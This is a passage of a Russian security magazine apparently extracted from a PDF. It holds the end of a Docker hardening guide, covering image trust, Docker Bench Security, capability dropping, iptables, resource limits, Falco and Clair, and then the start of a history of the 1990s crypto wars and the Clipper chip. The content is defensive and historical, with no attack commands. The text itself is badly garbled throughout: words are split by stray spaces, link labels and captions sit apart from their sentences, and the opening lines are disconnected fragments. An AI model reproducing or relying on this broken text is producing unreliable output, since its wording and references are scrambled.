,  под верга ющие  кон тей неры  ком‐ 
про мета ции, 

,   и сов сем
све жий  ,  для  которо го  еще  нет
пат ча.

не вер но  нас тро енные
root‐акка унты

ле галь ные  обра зы  с  запилен ными
бэк дорами ра бочи ми PoC‐экс пло ита ми

кри тичес кий  баг

ТИПОВЫЕ ПРОБЛЕМЫ БЕЗОПАСНОСТИ, СВЯЗАННЫЕ С DOCKER
Да вай  прой дем ся  по  типовым  кей сам,  свя зан ным  с  безопас ностью
инфраструк туры Docker.

Бе зопас ность хос товой сис темы
Один из самых прос тых и в то же вре мя клю чевых воп росов защиты Docker —
это безопас ность хос товой машины, в час тнос ти ядра ОС. Ведь в уже ском‐ 
про мети рован ной сис теме   и про чие механиз мы безопас ности кон‐ 
тей неров,  которые  мы  мог ли  бы  исполь зовать,  нам  вряд  ли  помогут.  А  все
потому, что Docker спро екти рован таким обра зом, что все запущен ные кон‐ 
тей неры исполь зуют ядро хос та. Поэто му в качес тве хос та дол жен быть про‐ 
пат ченный,  обновлен ный  дис три бутив  Linux  без  извес тных  уяз вимос тей
и приз наков инфи циро вания мал варью.

изо ляция

Клас сичес кий  при мер  такого  кей са  —  это  побег  из  кон тей нера  Docker.
В офи циаль ной докумен тации этот баг называ ется «выходом за пре делы кон‐ 
тей нера» (container breakout) и опи сыва ет ситу ацию, при которой прог рамме,
запущен ной  внут ри  кон тей нера,  уда ется  пре одо леть  механиз мы  изо ляции
и получить рутовые при виле гии или дос туп к важ ной информа ции, хра нящей‐ 
ся  на  хос те.  Типич ный  при мер  это го  бага —  DirtyCow  (CVE‐2016‐5195),  мы
о нем уже  .рас ска зыва ли

Для  реали зации  защиты  от  подоб ных  ситу аций  исполь зует ся  пра вило
умень шения  количес тва  при виле гий  для  кон тей нера,  выдава емых  ему
по  умол чанию.  Так,  если  демон  Docker  выпол няет ся  под  рутом,  то  мы  соз‐ 
даем  для  него  поль зователь ское  прос транс тво  имен  (user‐level  namespace)
с минималь ными при виле гиями.

Ис черпа ние ресур сов, или DDoS на кон тей нер
Ес ли  срав нивать  кон тей неры  с  вир туаль ными  машина ми,  то  пер вые  более
лег ковес ны. Даже на ста ром и сла бом железе мож но запус тить мно го кон тей‐ 
неров. Одна ко ошиб ки в кон фигура ции демонов, сетево го сте ка, недос татки
про екти рова ния архи тек туры и ата ки  хакеров могут при водить  к сос тояниям
типа «отказ в обслу жива нии» (Denial of Service).

К  при меру,  некий  кон тей нер  или  целый  пул  кон тей неров  может  пож рать
все  про цес сорное  вре мя  хос та  и  про садить  его  про изво дитель ность.  Ана‐ 
логич ная  ситу ация  может  сло жить ся  и  с  сетевы ми  интерфей сами,  ког да
количес тво генери руемых пакетов пре высит нор маль ную про пус кную спо соб‐ 
ность сети. Но выход тут, в прин ципе, доволь но прост: дол жным обра зом нас‐ 
тро ить лимиты ресур сов для кон тей нера.

Ском про мети рован ные обра зы для Docker
Docker рас простра няет ся как open source, и обра зы для соз дания собс твен‐ 
ных кон тей неров тоже находят ся в пуб личном бес плат ном дос тупе. А это зна‐ 
чит, что зло умыш ленни ки с помощью фишин га и дру гих методов соци аль ной
инже нерии  могут  поп робовать  манипу лиро вать  дей стви ями  поль зовате лей
хра нилищ Docker  Image,  что бы  зас тавить  их  ска чать  заранее  ском про мети‐ 
рован ный образ с мал варью или бэк дорами.

Нап ример,  в  апре ле  это го  года  мно го  шума  надела ла    о  том,
как неиз вес тные зло умыш ленни ки получи ли дос туп к базе дан ных круп ней шей
в мире биб лиоте ки обра зов для кон тей неров Docker Hub. В резуль тате были
ском про мети рова ны  име на  поль зовате лей,  хеши  паролей,  а  так же  токены
для репози тори ев GitHub и Bitbucket, исполь зуемых для авто мати зиро ван ных
сбо рок  Docker.  Или  взять    лета  2018  года,  ког да  из  офи циаль ного
реес тра Docker Hub были  уда лены  сра зу  сем надцать  обра зов  кон тей неров,
содер жавших  опас ные  бэк доры.  Как  поз же  выяс нили  экспер ты,  через  них
на сер веры поль зовате лей про ника ла мал варь в виде крип томай неров и юза‐ 
лись обратные шел лы.

но вость

но вость

WARNING

Пе ред  любыми  опе раци ями  по  кон фигури рова‐ 
нию  сис темы  не  забывай  сде лать  бэкап!
Докумен тируй  все  изме нения,  что бы  потом
не  рвать  себе  волосы  на  затыл ке,  ког да  ты
забудешь,  что  и  в  какой  пос ледова тель нос ти
менял.  И  обя затель но  про веряй  изме нения
на  тес товом  стен де  перед  перено сом  в  их  про‐ 
дак шен‐сре ду!

УСИЛИВАЕМ БЕЗОПАСНОСТЬ DOCKER
Итак, как нам укре пить Docker? Сна чала мы раз берем общие рекомен дации,
а затем кон крет ные при меры кон фигури рова ния пра вил и политик безопас‐ 
ности для кон тей нер ного пула.

Ис поль зование дос товер ных обра зов
Нач нем,  пожалуй,  с  баналь ной  для  репози тори ев  Docker  проб лемы —  дос‐ 
товер ности  обра за.  Что бы  избе жать  проб лем  с  фей ковыми  обра зами,
исполь зуй  при ват ные  (private)  или  стро го  доверен ные  репози тории  (trusted
repositories)  вро де  .  В  отли чие  от  дру гих  репози тори ев,  обра зы,
которые там хра нят ся, всег да ска ниру ет и прос матри вает спе циаль ный робот
безопас ности  .

Docker  Hub

Docker’s Security Scanning Service

Ре зуль тат про вер ки обра за в Docker Hub с помощью Docker’s Security
Scanning Service

Ве рифи циру ем обра зы через сер вис Docker Content Trust
Еще  один  полез ный  и  дос тупный  всем  инс тру мент,  которым  сто ит  вос поль‐ 
зовать ся,  —  .  Это  новая  фун кция,  дос тупная  с  вер сии
Docker Engine 1.8. Она поз воля ет верифи циро вать вла дель ца обра за. Таким
обра зом этот сер вис защища ет тебя от фей ков и под делок, атак пов торно го
вос про изве дения и ком про мета ции клю чей.

Docker  Content  Trust

Про вер ка хос та и кон тей нера с помощью Docker Bench Security
Очень  полез ный  инс тру мент,  которым  я  сам  недав но  поль зовал ся,  —
это   (см. так же   к нему). По сути, это боль‐ 
шая  под борка  рекомен даций,  советов  и  прак тик  по  раз верты ванию  кон тей‐ 
неров  в  про дак шене.  Инс тру мент  осно выва ется  на  рекомен даци ях
из  докумен та  The  CIS  Docker  1.13  Benchmark  ( )  и  при меня ется  в  сле‐ 
дующих областях:

Docker Bench Security до кумен тацию

PDF

кон фигура ция хос та (ядро, про цес сы, раз решения);•
кон фигура ция демона Docker (сеть, выделе ние RAM, CPU);•
фай лы кон фигура ции демона Docker;•
об разы кон тей неров и build‐фай лы;•
Runtime кон тей нера;•
оп ции «по умол чанию» Docker security.•

Что бы  уста новить  этот  скрипт  про вер ки,  кло нируй  репози торий  сле дующей
коман дой в тер минале:

$ git clone git@github.com:docker/docker‐bench‐security.git

Пос ле это го запус каем скрипт:

$ cd docker‐bench‐secutity

и юза ем такую вот длин ную коман ду:

$ docker run ‐it ‐‐net host ‐‐pid host ‐‐cap‐add audit_control \
 ‐e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
 ‐v /var/lib:/var/lib \
 ‐v /var/run/docker.sock:/var/run/docker.sock \
 ‐v /etc:/etc ‐‐label docker_bench_security \
 docker/docker‐bench‐security

Вы пол нив  эти  шаги,  ты  соберешь  все  кон тей неры  и  запус тишь  скрипт,
который про верит безопас ность хост‐машины (kernel OS) и ее кон тей неров.
И это зай мет все го лишь нес коль ко минут!

За пуск скрип та Docker Bench Security

Ис поль зование натив ных опций безопас ности на хос товых ОС
Для  уси ления  безопас ности  ты  можешь  вос поль зовать ся штат ными  инс тру‐ 
мен тами Linux. Сре ди них — AppArmor, SELinux, grsecurity и Seccomp.

Про ще все го было бы ска чать   Seccomp для Docker.
Что бы обес печить самый баналь ный уро вень секь юрности, дос таточ но скор‐ 
ректи ровать белый спи сок сис темных вызовов в рай оне стро ки 52 — то есть
прос то уда лить из него рис ковые коман ды  ,   и  .

де фол тный про филь

chmod fchmod fchmodat
Од нако тон кая нас трой ка этих механиз мов безопас ности выходит далеко

за рам ки нашей статьи. Если ты еще ни разу их не кон фигури ровал, обра щай‐ 
ся к офи циаль ной докумен тации. От себя рекомен дую пару неп лохих ста тей
по   и  .Seccomp SELinux
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Под робное  руководс тво  по  бро ниро ванию Dock‐
er, а  так же при меры бен чмар ков опций безопас‐ 
ности  и  кон троль ный  чек‐лист  про вер ки  ты  най‐ 
дешь в докумен те  .The CIS Docker 1.13 Benchmark

НАСТРОЙКА ОПЦИЙ УСИЛЕНИЯ БЕЗОПАСНОСТИ ДЛЯ DOCKER
Вот мы наконец и доб рались до кон соли! Сей час будем руч ками выс тра ивать
безопас ность для Docker. Готов? Поеха ли!

Ог раниче ния Docker Engine
Вспом ним, что   — это сво его рода API, который прос лушива ет
все вхо дящие зап росы и вза имо дей ству ет с базовым ядром хос та. Docker En‐
gine под держи вает связь на трех сокетах:  ,   и  .

Docker Engine

unix tcp fd
Бе зопас ное  сос тояние  по  умол чанию —  это  прос лушива ние  сокета  unix.

Для акти вации этой опции набери в тер минале

$ dockerd ‐H "unix:///var/run/docker.sock"

Го тово, боль ше ничего не тре бует ся!

Выс тавля ем огра ниче ние на при виле гии выпол нения
По  воз можнос ти  запус кай  кон тей неры  как  обыч ный  поль зователь  без  пол‐ 
номочий root:

$ docker run ‐d ‐u 1000 debian sleep infinity
$ ps aux | grep sleep
1000 ... sleep infinity

Что бы  мак сималь но  умень шить  пло щадь  потен циаль ной  ата ки,  подумай
над сле дующи ми воп росами:

Ка кое сетевое под клю чение тре бует ся для работы при ложе ния и вооб ще
тре бует ся ли оно?

•

Ну жен ли при ложе нию пря мой дос туп к сокету?•
Тре бует ся ли при ложе нию отправ лять и получать UDP‐зап росы?•

Для  нас трой ки  огра ниче ний  будем  исполь зовать  коман ды 
и  .

‐‐cap‐drop  and
‐‐cap‐add
Пред положим, при ложе нию абсо лют но не тре бует ся изме нять сис темные

про цес сы  или  бин дить  при виле гиро ван ные  пор ты,  но  при  этом  нуж но  заг‐ 
ружать и выг ружать модули ядра. Соот ветс тву ющие воз можнос ти мож но уда‐ 
лить и добавить сле дующим обра зом:

$ docker run \
 ‐‐cap‐drop SETPCAP \
 ‐‐cap‐drop NET_BIND_SERVICE \
 ‐‐cap‐add SYS_MODULE \
 ‐ti /bin/sh

Так же необ ходимо сле дить за слу чаями мон тирова ния потен циаль но опас ных
ресур сов хос та  (к при меру,  таких,  как  ,  ,  ).
Нес мотря на то что эти ресур сы нуж ны для работы кон тей неров, все же сто ит
задумать ся о необ ходимос ти огра ничить дос туп про цес сов к ним. К при меру,
будет дос таточ но лишь уста новить к ним режим дос тупа «толь ко чте ние».

/proc /dev /var/run/docker.sock

Для обес печения безопас ности сетево го вза имо дей ствия мож но нас тро‐ 
ить  пра вила  iptables,  реали зован ные  в  Docker.  Нап ример,  ука зать  диапа зон
IP‐адре сов  для  источни ка  пакетов,  что бы  огра ничить  тра фик  на  кон тей нер.
Это поможет пре дот вра тить обра щение глу боко изо лиро ван ного кон тей нера
во внеш нюю сеть. Вклю чить эту фун кцию мож но все го парой команд:

$ iptables ‐t filter ‐A FORWARD ‐s
<source_ip_range> ‐j REJECT ‐‐reject‐with
icmp‐admin‐prohibited

Ог раничи ваем пот ребле ние сис темных ресур сов
Что бы отка либ ровать пул ресур сов, выделя емых для кон тей нера (CPU, RAM,
SWAP, I/O), нуж но задать порого вые зна чения сле дующи ми коман дами:

,   — уста новить лимит выделе ния опе ратив ной памяти (hard);• m memory

 — уста новить мяг кий лимит памяти (soft);• memoryreservation

 — уста новить лимит памяти ядра (kernel OS);• kernelmemory

 — огра ничить количес тво исполь зуемых CPU;• cpus

  —  огра ничить  про пус кную  спо соб ность  чте ния
для кон крет ного устрой ства.

• devicereadbps

Так же  не  забывай  юзать  спе циаль ную  фичу  под  наз вани ем  .  Кон‐ 
троль ные груп пы (cgroups) — это пре дос тавля емый ядром Linux штат ный инс‐ 
тру мент,  который  поз воля ет  огра ничи вать  дос туп  про цес сов  и  кон тей неров
к  сис темным  ресур сам.  Некото рые  лимиты  мож но  кон тро лиро вать  сра зу
из коман дной стро ки Docker, нап ример:

cgroups

$ docker run ‐it ‐‐memory=4G ‐‐memory‐swap=1G debian bash

Этой  коман дой  мы  выделя ем  для  работы  кон тей нера  4  Гбайт  опе ратив ной
памяти и 1 Гбайт для кеширо вания в своп.

Мо нито рим активность работы кон тей неров
Мо нито ринг, обна руже ние ано маль ного, подоз ритель ного поведе ния кон тей‐ 
нера  и  опо веще ние  о  нем   —  это  один  из  клю чевых  инс тру мен тов  ана лиза
и  сво евре мен ного  реаги рова ния  на  инци ден ты.  Для  этих  целей  мож но
исполь зовать тул зу с откры тым исходным кодом  .Sysdig Falco

Сер вис Sysdig Falco

Sysdig Falco работа ет как сис тема обна руже ния втор жений и в осо бен ности
полез на  при исполь зовании Docker,  пос коль ку  в  про цес се  соз дания  пра вил
под держи вает спе цифи чес кий для кон тей неров кон текст, такой как 

,  , ресур сы Kubernetes или прос транс тва имен.
contain‐

er.id container.image
Да,  кста ти,  еще  одна  вещь  из  стан дар тно го  набора  кон тро ля  и  ауди та

ОС — это жур налиро вание событий. Для это го  запус каем кон тей нер с  клю‐ 
чом, ответс твен ным за логиро вание:

$ docker run ‐v /dev/log:/dev/log
<container_name> /bin/sh

Па лим CVE-уяз вимос ти в кон тей нерах
Кон тей неры Docker —  это,  по  сути,  изо лиро ван ные  чер ные  ящи ки,  которые
кру тят ся на родитель ском хос те. Одна ко все может отлично работать, но при
этом внут ри ока зыва ется уяз вимое ПО. При чем в апс три ме уяз вимос ти могут
быть дав но про пат чены, но не в тво ем локаль ном обра зе! И если не при нять
меры, такие проб лемы могут дол го оста вать ся незаме чен ными. И что, ска жи
на милость, с этим делать?

Мно гие  реес тры  обра зов  Docker  пред лага ют  услу гу  ска ниро вания  этих
самых обра зов. Нап ример, сер вис   исполь зует ска нер безопас‐ 
ности  обра зов  Docker  с  откры тым  исходным  кодом  под  наз вани ем  .
Clair — это  при ложе ние,  написан ное на Go,  которое реали зует  набор HTTP
API  для  выг рузки,  заг рузки  и  ана лиза  обра зов.  Дан ные  об  уяз вимос тях  заг‐ 
ружа ются из раз ных источни ков, таких как Debian Security Tracker или Red Hat
Security Data. В этом слу чае дви жок Clair работа ет по прин ципу ста тичес кого
ана лиза тора без запус ка кон тей нера на выпол нение.

CoreOS Quay
Clair

Сер вис CoreOS Quay для Docker

Ну  и  если  ты  сов сем  зеленый  админ  или  руководс тво  адски  жмет  денег,
где‐то на прос торах Сети, говорят, есть ана логич ные сер висы с теми же воз‐ 
можнос тями,  но  при  этом  совер шенно  бес плат ные!  Прав да,  я  таких  пока
не встре чал. Поэто му, если уж сов сем нет выбора, мож но юзать ста рый доб‐ 
рый    либо  ана логич ный  секь юрный  ска нер,  который  ты  будешь
запус кать руч ками по рас писанию внут ри сво ей кор поратив ной сет ки.

OpenVAS
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Нес коль ко  инте рес ных  прак тичес ких  гай дов,
руководств  и  сбор ников  рецеп тов,  как  уси лить
безопас ность Docker, для самос тоятель ного изу‐ 
чения:

  —  гайд,  рас‐ 
смат рива ющий  основные  рис ки  и  угро зы
безопас ности Docker. Там же ты най дешь прак‐ 
тичес кие  при меры  нас тро ек  безопас ности
для решения этих проб лем;

•Mitigating  Docker  Security  Issues

 — неболь‐ 
шая стра ница на GitHub с опи сани ем рекомен‐ 
даций  и  основных  нас тро ек  безопас ности
для Docker;

•Docker Secure Deployment Guidelines

 —
обзор  нес коль ких  полез ных  инс тру мен тов
для  кон тро ля  над  безопас ностью  исходных
обра зов и запущен ных кон тей неров.

•10+  top open‐source  tools  for Docker  security

ЗАКЛЮЧЕНИЕ
Поз драв ляю! Сегод ня мы про кача ли твои админ ские скил лы в защите сис тем
кон тей нериза ции  на  базе  Docker.  Теперь  ты  зна ешь  об  основных  угро зах
для DevOps‐окру жения и понима ешь, чем мож но поп латить ся за бес печность,
если  не  обра щать  вни мания  на  тему  секь юрности.  Так же  мы  соб рали  неп‐ 
лохой набор инс тру мен тов для обес печения безопас ности Docker. Наде юсь,
он  поможет  тебе  мак сималь но  защитить  свои  информа цион ные  акти вы
без вну шитель ных вло жений денег и вре мени.
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Кон фликт 
  в  прош лом  году  —  далеко

не пер вая попыт ка пра витель ства получить
дос туп  к  шиф рован ным  циф ровым  ком‐ 
муника циям.  О  самом  жар ком  и  показа‐ 
тель ном  при мере  про тивос тояния  влас тей
и  побор ников  при ват ности  у  нас  мало  кто
зна ет, пос коль ку дело было в США и отно‐ 
ситель но  дав но  —  в  начале  девянос тых.
В  этой  статье  я  рас ска жу  об  исто рии  кон‐ 
флик та  и  попыта юсь  выявить  уро ки,
которые  руково дите ли  спец служб  тог да
усво или, но успе ли позабыть.

меж ду  Рос комнад зором
и  Telegram

КРИПТОВОЙНА: ДВАДЦАТЬ ЛЕТ СПУСТЯ
В 2014 году ком пания Apple   о том, что на всех смар тфо нах с новой
вер сией  iOS  по  умол чанию  акти виро вана  фун кция  сквоз ного  шиф рования.
Через нес коль ко дней подоб ная новость   и от Google.

объ яви ла

пос тупила
Два тех нологи чес ких гиган та пред при няли этот шаг не от хорошей жиз ни.

Их  на  это  под вигло  падение  доверия  пот ребите лей,  выз ванное  широко
нашумев шими откро вени ями Сно уде на в 2013 году (см.  ).
Вот  аме рикан ские  ком пании  с  Google  и  Apple  во  гла ве  и  начали  дви гать ся
в сто рону серь езной защиты при ват ности, в час тнос ти пов семес тно го HTTPS
и сквоз ного шиф рования перепис ки (нап ример, его   в WhatsApp).

от чет New America

до бави ли
Пот ребите ли  встре тили  такую  крип тогра фичес кую  ини циати ву  бур ными

ова циями, чего не ска жешь о пра витель ствен ных спец служ бах. Смот ри, нап‐ 
ример,   на шиф рование в iOS 8 и Android L дирек тора ФБР Джей мса
Коми или   вто ряще го ему про куро ра окру га Ман хэттен Сай руса Вэн‐ 
са.

на пад ки
за мет ку

Ко ми  :  «Новые  фун кции  повыше ния  уров ня  кон фиден циаль нос ти,
реали зован ные  в  гад жетах  Apple  и  Google,  поз воля ют  граж данам  вый ти
за рам ки закона. Мы дол жны при нять меры, что бы эти ком пании сог ласились
раз мещать  в  сво их  устрой ствах  пра витель ствен ные  бэк доры,  что бы  наши
спец служ бы  мог ли  при  необ ходимос ти  бес пре пятс твен но  рас шифро вывать
любые ком муника ции». Быв ший ген про курор Эрик Хол дер тоже   тех‐ 
нологи чес кие  ком пании обес печить бэк доры для пра воох ранитель ных орга‐ 
нов. Их аргу мен ты   под дер жку АНБ.

за явил

приз вал

по лучи ли
Все эти обсто ятель ства положи ли начало горячей дис куссии. Осу щес тви‐ 

мо  ли  тех ничес ки  внед рение  шпи онских  бэк доров  без  ущер ба  для  общей
безопас ности?  Какими  будут  пос ледс твия  их  внед рения  для  эко номи чес ких
и  граж дан ских  сво бод? Свои отве ты на  эти  воп росы дали,  нап ример,  изоб‐ 
ретатель  крип тогра фии  с  откры тым  клю чом  ,  зна мени тый
ИБ‐эксперт  ,  калифор ний ский  сенатор    (име ющий,
в отли чие от сво их  кол лег, дип лом прог раммис та) и мно гие дру гие зна токи.
Надо ли говорить, что они выс тупили не на сто роне ФБР и АНБ?

Уит филд  Диф фи
Брюс  Шнай ер Тед  Лиу

Ров но  такую же  полити чес кую баталию — с  теми же  аргу мен тами  и  кон‐ 
трар гумен тами — мир уже видел двад цать лет назад (и даже мно гие учас тни‐ 
ки с обе их сто рон фигури рова ли те же). Тог да ее окрести ли «крип товой ной».
Ста ло быть, сегод ня мы име ем честь наб людать «крип товой ну 2.0».

КАК НАЧИНАЛАСЬ КРИПТОВОЙНА ДЕВЯНОСТЫХ
Хо тя армия и конт рраз ведка при меня ют крип тогра фию испо кон веков, дебаты
о  пра ве  общес твен ности  на  исполь зование  шиф ров  начались  с  момен та
изоб ретения  «крип тогра фии  с  откры тым  клю чом»  в  1976  году.  Дебаты  эти
откры лись  зна мени той  стать ей  Диф фи  и  Хел лма на  «Новые  нап равле ния
в крип тогра фии» ( ), в которой рас ска зыва лось, как обыч ные люди и пред‐ 
при ятия  могут  безопас но  переда вать  дан ные  по  обще дос тупным  сетевым
каналам.  Эта  статья  бро сила  вызов  дав ней  монопо лии  пра витель ствен ных
спец служб на исполь зование шиф ров.

PDF
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Под робнее о вли янии изоб ретения Диф фи — Хел‐ 
лма на на раз решение кон флик та ты можешь про‐ 
честь  в  статье  ,  опуб ликован ной
в Stanford Magazine в 2014 году.

Keeping  Secrets

Вско ре пос ле пуб ликации «Новых нап равле ний крип тогра фии» трое матема‐ 
тиков  из  Мас сачусет ско го  тех нологи чес кого  (Рональд  Ривест,  Ади  Шамир,
Леонард  Адле ман)  раз работа ли  алго ритм  RSA  (ком бинация  их  ини циалов),
который воп лотил эту новую теорию шиф рования на прак тике (см. их 

).  RSA  поз волил  обыч ным  людям  вес ти  кон фиден циаль ную  перепис ку
по  элек трон ной  поч те.  Имен но  бла года ря  ему  ста ли  воз можны  «циф ровые
под писи».

ра боту:
PDF

Крип тогра фию  с  откры тым  клю чом радуш но  при няли  пред при ятия  и  час‐ 
тные  лица.  Одна ко  пра витель ствен ные  служ бы  не  раз деляли  их  вооду шев‐ 
ления. К началу девянос тых широкое рас простра нение ПК, сотовых телефо‐ 
нов и интерне та зас тавило спец служ бы задумать ся о вли янии крип тостой кого
шиф рования на их воз можнос ти прос лушки.
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Ин терес ный при мер про тивос тояния сооб щес тва
спе циалис тов  по  крип тогра фии  и  наци ональ ных
ведомств   в статье, опуб ликован ной в New
York Times в 1989 году. Если вкрат це, про изош ло
сле дующее: иссле дова тель из Xerox PARC опи сал
в науч ной статье бюд жетное устрой ство для шиф‐ 
рования;  в  АНБ,  озна комив шись  с  тек стом,
наложи ли  серь езные  огра ниче ния  на  его  рас‐ 
простра нение; уче ный залил статью в сеть Usenet
всем напоказ, чем прог невал АНБ, но судить его
в ито ге  ока залось не  за  что —  зап рет,  как  выяс‐ 
нилось, имел ста тус рекомен дации.

опи сан

В  янва ре  1991  года  сенатор  Джо  Бай ден    новый  пункт  в  про ект
закона о борь бе с тер рориз мом: «Пос тавщи ки услуг элек трон ных ком муника‐ 
ций  и  про изво дите ли  телеком муника цион ного  обо рудо вания  дол жны  обес‐ 
печить  пра витель ствен ным  служ бам  воз можность  получать  незашиф рован‐ 
ные вер сии  голоса,  тек ста и дру гих видов кон тента». Хотя этот пункт не был
утвер жден, намек тех нологи чес ким ком пани ям был край не проз рачным: пра‐ 
витель ство  вряд  ли  поз волит  сущес тво вать  средс твам  свя зи,  обес печива‐ 
ющим надеж ное шиф рование. С 1992  года в АНБ начались серь езные дис‐ 
куссии, как решить «проб лему» широко го рас простра нения надеж ного шиф‐ 
рования раз и нав сегда.

до бавил

Крип товой на приб лижалась!
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Под робнее  об  этих  событи ях  ты  можешь  узнать
из    и  из  кни ги 
за  авторс твом  Сти вена  Леви,  извес тно го  авто ра
биог рафии  Сти ва  Джоб са  и  дру гих  биог рафий
и книг об исто рии вычис литель ной тех ники.

статьи  Джея  Сто уски Crypto

ДВА ВЗГЛЯДА НА CLIPPER — ЧИП С БЭКДОРОМ ДЛЯ АНБ
Идея  най ти  при емле мый  спо соб  дос тупа  к  клю чам,  исполь зуемым  в  шиф‐ 
рован ных средс твах ком муника ции, не покида ла умы спец служб на про тяже‐ 
нии  всех  девянос тых.  В  АНБ  для  это го  раз работа ли  новый  алго ритм  шиф‐ 
рования,  извес тный  как  Skipjack.  Он  стал  куль минаци ей  уси лий  АНБ,  нап‐ 
равлен ных  на  прод вижение  «ком про мис сной»  крип тогра фии:  и  безопас ной,
и лег кодос тупной для спец служб.

В  АНБ  свое  детище  позици они рова ли  как  «более  слож ный  и  надеж ный
алго ритм,  чем  какой‐либо  дру гой  из  дос тупных  на  сегод няшний  день. Даже
луч ше DES». Но сот рудни ки АНБ   Skipjack (в виде так называ‐ 
емо го чипа Clipper) тех нологи чес ким ком пани ям с дву мя ого вор ками.

пре дос тавля ли

Во‐пер вых,  алго ритм  был  засек речен.  Поэто му  его  мож но  было  встра‐ 
ивать  толь ко  в  те  устрой ства,  которые  изго тав ливались  в  тес ном  сот рудни‐ 
чес тве  с  пред ста вите лем  АНБ.  Никому  за  пре дела ми  ведомс тва  не  раз‐ 
решалось видеть, как имен но работа ет алго ритм Skipjack. Во‐вто рых, в АНБ
поз воляли  исполь зовать  Skipjack  толь ко  тем  тех нологи чес ким  ком пани ям,
которые сог лашались встро ить в свое обо рудо вание пра витель ствен ный бэк‐ 
дор, — что бы спец служ бы мог ли получать дос туп к клю чам от всех ком муника‐ 
ций, защищен ных шиф ром Skipjack.

Для повыше ния доверия общес твен ности к Skipjack в АНБ соз вали груп пу
ака деми чес ких и отрасле вых экспер тов — про ана лизи ровать эффектив ность
шиф ра и  донес ти до широких масс идею,  что  «Skipjack  пред став ляет  собой
средс тво,  поз воля ющее  сба лан сировать  инди виду аль ные инте ресы  час тной
жиз ни с общим соци аль ным бла гом» и  что  «сто имость взло ма Skipjack пря‐ 
мым  перебо ром  очень  высока.  Она  срав няет ся  со  сто имостью  такого  же
взло ма DES — рань ше чем через 36 лет».

Спус тя  нес коль ко  лет  лидер  этой  груп пы АНБ,  крип тограф из Джорд жта‐ 
унско го уни вер ситета Дороти Ден нинг  , что решение АНБ о сох‐ 
ранении сек ретнос ти Skipjack было попыт кой скрыть кри тичес кие уяз вимос ти
алго рит ма.

об молви лась
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Под робный  пор трет  Дороти  Ден нинг  ты  можешь
най ти в статье Сти вена Леви  , опуб‐ 
ликован ной  жур налом  Wired  в  1996  году  (под‐ 
заголо вок:  «Пос ле  сме ны  сто рон  в  вой не
государс тва  про тив  пиратс тва  Дороти  Ден нинг
прев ратилась из хакера‐героя в одно го из самых
ненави димых людей в Сети»).

Clipper Chick

В июле 1993 года, при мер но в то же вре мя, как был опуб ликован отчет АНБ,
Наци ональ ный  инсти тут  стан дартов  и  тех нологий  США  (NIST)  ини цииро вал
общес твен ное обсужде ние Clipper. И его резуль таты рез ко кон трас тирова ли
с зак лючени ями груп пы гос пожи Ден нинг. Толь ко двое из 320 экспер тов выс‐ 
казались в под дер жку «Клип пера».

Эк спер ты,  объ еди нив шиеся  под  фла гом  NIST,    на  три  прин ципи‐ 
аль ные проб лемы Clipper.

ука зали

1. По сло вам Уит филда Диф фи,  попыт ка пра витель ства США взять на  себя
роль  «хра ните ля  клю чей»  нивели рует  основное  дос тоинс тво  это го  вида
крип тогра фии:  вновь  вво дит  зависи мость  от  треть ей  сто роны.  Что
еще  хуже,  этой  треть ей  сто роной  будет  пра витель ство,  которое  уже
показа ло свое неува жение к пра ву на при ват ную жизнь.

2. Са ми  чипы  Clipper  были  дорогос тоящи ми,  а  при обрести  их  мож но  было
толь ко  у  единс твен ного  пос тавщи ка,  что  исклю чало  кон курен цию  в  про‐ 
изводс тве  и  цено обра зова нии.  Так же  сущес тво вал  риск,  что  про дукт
с «Клип пером» может ока зать ся несов мести мым с устрой ства ми без него.

3. На конец,  экспер ты  опа сались,  что  пра витель ствен ная  ини циати ва
по прод вижению Clipper — это пер вый шаг на пути к зап рещению аль тер‐ 
натив ных форм шиф рования (см.  ).пуб ликацию NIST
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Уит филд Диф фи и Сьюзан Лан дау написа ли кни гу
, где под робно зап ротоко лиро‐ 

вали все аргу мен ты  тог дашних дебатов. Если же
ты пред почита ешь более  крат кое  чти во, можешь
гля нуть  статью  « »,
где  он  перечис ляет  проб лемы,  свя зан ные
с Clipper.

Privacy on the Line

По каза ния  Уит филда  Диф фи

МОБИЛИЗАЦИЯ ОБЩЕСТВЕННОСТИ ПРОТИВ CLIPPER
Пуб личная  ини циати ва  NIST  была  не  единс твен ным  выраже нием  оза бочен‐ 
ности общес твен ности по поводу Clipper, одна ко имен но она спро воци рова‐ 
ла  вол ну  ско орди ниро ван ной  активнос ти  со  сто роны  раз ных  групп.  В  оппо‐ 
зицию  вхо дили  бор цы  за  при ват ность,  тех ничес кие  экспер ты,  ака деми ки,
хакеры  и  лидеры  отрасли.  Спус тя  нес коль ко  недель  пос ле  офи циаль ного
анон са Clipper Ассо циация про изво дите лей компь юте ров и оргтех ники, вклю‐ 
чав шая  в  себя 26  круп ней ших  компь ютер ных  ком паний США,  вслед  за NIST
рас кри тико вала эко номи чес кую жиз неспо соб ность Clipper.

Са мой  же  инте рес ной  груп пой  оппо зици оне ров  ста ло  дви жение  шиф‐ 
ропан ков (Cypherpunks). Это сооб щес тво перепи сыва лось (и, по сути, сущес‐ 
тво вало) в одно имен ной поч товой рас сылке. Она была запуще на в 1992 году
и через два года име ла око ло 700 под писчи ков. Здесь обсужда лась матема‐ 
тика,  крип тогра фия,  прог рамми рова ние,  а  так же  полити ка  и  философ ские
воп росы.

Иде оло гия шиф ропан ков, которую они окрести ли крип тоанар хизмом, гла‐ 
сила,  что  надеж ное шиф рование —  это  ключ  к  лич ной  сво боде,  а  раз витие
свя зан ных  с  ним  тех нологий  рано  или  поз дно  сде лает  государс тва  ненуж‐ 
ными. Неуди витель но, что Clipper и АНБ для этой груп пы были вра гами номер
один.

Сре ди извес тных шиф ропан ков: Джу лиан Ассанж, раз работ чик Tor Джей‐ 
коб Эпп лба ум, автор про токо ла BitTorrent Брэм Коэн, соз датель Signal Мок си
Мар лин спайк, соз датель Bit Gold (пред шес твен ника Bitcoin) Ник Сабо и мно‐ 
гие дру гие зна мени тос ти, вклю чая, конеч но, уже упо мяну тых Уит филда Диф фи
и Брю са Шнай ера. Более пол ный их спи сок ты най дешь  .в «Википе дии»
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Ар хив  рас сылки  шиф ропан ков 
  и    на  сай те

• на  сай те  Cryp‐
toanarchy  Wiki в  виде  архи ва  ZIP
Сryptome.org
« »  —  офи циаль ный  FAQ  шиф‐ 
ропан ков

• Шиф рономи кон

•Ар хивная вер сия сай та Cypherpunks.to
Кни га  Джу лиана  Ассанжа  «

»
• Cypherpunks:  сво‐ 
бода и будущее интерне та
